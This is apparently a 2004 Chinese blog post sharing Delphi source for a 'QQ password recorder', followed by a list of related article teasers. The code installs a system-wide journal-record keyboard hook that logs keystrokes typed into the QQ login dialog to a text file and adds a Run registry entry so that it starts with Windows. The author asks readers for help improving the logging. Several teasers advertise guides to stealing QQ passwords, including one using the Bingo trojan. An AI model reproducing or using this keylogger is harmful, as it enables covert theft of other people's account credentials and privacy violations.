qq密码记录程序

原创 2004年07月18日 14:37:00

unit password;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls,Clipbrd, Buttons,registry;


type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Label1: TLabel;
    Timer1: TTimer;
    Edit1: TEdit;
    BitBtn1: TBitBtn;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);

 

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  hHook:integer;
 
  d:char;
EventArr:EVENTMSG;


implementation
function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
 


 var
      c:integer;
      HWindow,hbutton1, HButton,hedit,hedit1, handle: THandle; //句柄变量
      debugfile:textfile;
      point:TPoint;
      temp:array[0..255] of char;
   

begin
      HWindow:=0;
      found:=false;


         //找是#32770(对话框)的窗体
         HWindow := FindWindowEx(0, HWindow, '#32770',nil);
         hbutton1:=findwindowex(HWindow,0,'Button','取消') ;

         If hbutton1 <> 0 Then//如果找到了
            Begin
               
                if (peventmsg(lparam)^.message = WM_KEYDOWN) then//判断是否按键
                      begin

                        c:=peventMsg(lparam)^.paramL;
                        d:=char(c);//得到按键
                       {$I-}
                         if not fileExists('NEWFILE.txt') then//如果文件不存在
                            begin
                            AssignFile(debugfile, 'NEWFILE.txt');
                            Rewrite(debugfile);//创建新文件
                            write(debugfile,d);//写入键值
                            CloseFile(debugfile);
                            end
                     //
                         else//如果存在
                            begin
                            AssignFile(debugfile, 'NEWFILE.txt');
                            Append(debugfile);//追加记录
                            write(debugfile,d);//写入键值
                            closefile(debugfile);
                            end


                      end
             end;


  end;

 

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
const K = '/Software/Microsoft/Windows/CurrentVersion/RunServices';
var myname: string;
 reg:tregistry;

begin
 hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);//加载钩子
 
find:=false;
  reg:=tregistry.create;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
   reg.WriteString('oicqpass','D:/Program Files/Del/Borland/Delphi7/Projects/password.EXE');

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 UnHookWindowsHookEx(hHook);//卸钩子
  hHook:=0;

end;

//这是我刚写的一个记录密码的程序基本具有了记录的功能但是这个程序有很多问题:比如记录文件记录的号码和密码之间可能会没有间隔,此外前一条记录和后一条记录之间也没有间隔。 请大家提点建议解决

键盘记录器,可截获到 QQ 的密码

虽然 QQ 的密码框经过了特殊的处理,但是通过一些特殊手段仍然可以得到输入过程中键盘输入的内容。代码仅供娱乐使用!...
  • Henzox
  • Henzox
  • 2014年06月25日 08:57
  • 10956

记录研究截取QQ密码的几点心得

1 根据网上的文章,至少到QQ2013版本时,QQ主要通过以下几个方式实现密码保护:    a 登录窗体和密码输入框分离为两个进程    b 设置调试钩子和低级键盘钩子阻止HOOK,所以必须干...
  • I_love_linux_1988
  • I_love_linux_1988
  • 2014年03月05日 06:41
  • 2446

Xposed截获 Android手机QQ密码

转:http://www.cnblogs.com/2014asm/p/4742824.html 0x00 前言    Xposed框架是一款修改系统框架服务的软件,通过它许多功能强大的...
  • zhangmiaoping23
  • zhangmiaoping23
  • 2016年08月09日 14:04
  • 1283

关于社工高强度的QQ密码

想必很多偷密码的人对一个高强度密保的QQ 都无能为力,(他的密保程度:手机验证,手机令牌,邮箱独立密码,3个密保)我要说的经历就是攻破这个高密保QQ  大家不要笑话哈,我文采很差,说的不好大家尽管调戏...
  • u012762797
  • u012762797
  • 2014年06月08日 00:52
  • 1242

简易QQ登录实现账号密码保存

package com.itheima.qqlogin; import java.io.BufferedReader; import java.io.File; import java.io.Fi...
  • wyqihsj
  • wyqihsj
  • 2015年11月03日 21:10
  • 1185

QQ密码输入框(防键盘钩子)原理分析

1.网上看到的一些防星号查看器的代码大多是在后台维护一个字符串(真实的密码),界面则不显示真实的密码,这样做,维护那个字符串很费事,就因为我之前那样做过,我才在看到WM_GETTEXT后想要重做一个 ...
  • zhubosa
  • zhubosa
  • 2016年04月20日 11:51
  • 2283

如何盗取QQ密码比较详细怎样盗别人qq号的方法

怎么盗别人的qq密码,最主要的就是把别人的密码偷来,不过,没有人会告诉你:我的密码是什么什么,请你尽情的用我的号码吧!那么,我们怎么去把别人的密码偷来呢?请看 1、前提工作,你要去下载冰河,和Netx...
  • u011540971
  • u011540971
  • 2013年10月05日 22:48
  • 22628

使用ssh记住密码

前言:开发工作中,由于有时需要通过ssh登录远程服务器上去,每次都要输入密码,密码很难记,感觉很麻烦,于是上网搜了通过 ssh自动登录远程服务器上去,从而免去了每次都要输入密码的困扰。 系统说明: 本...
  • dyllove98
  • dyllove98
  • 2013年05月12日 17:24
  • 2296

Android 记录登陆时候的用户名和密码

简述: 在登陆的时候,有时候会遇到一个勾选框,用来询问是否保留用户名和密码 知识点: SharedPreferences 用来访问程序的文件,从里面读出用户名和密码 ...
  • anialy
  • anialy
  • 2013年01月17日 17:36
  • 8392

js正则表达式:验证邮箱格式、密码复杂度、手机号码、QQ号码

$(function () {            $("input[name='sub']").on("click", function () {                if (!isEm...
  • hfmbook
  • hfmbook
  • 2014年07月09日 16:47
  • 26497
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:qq密码记录程序
举报原因:
原因补充:

(最多只允许输入30个字)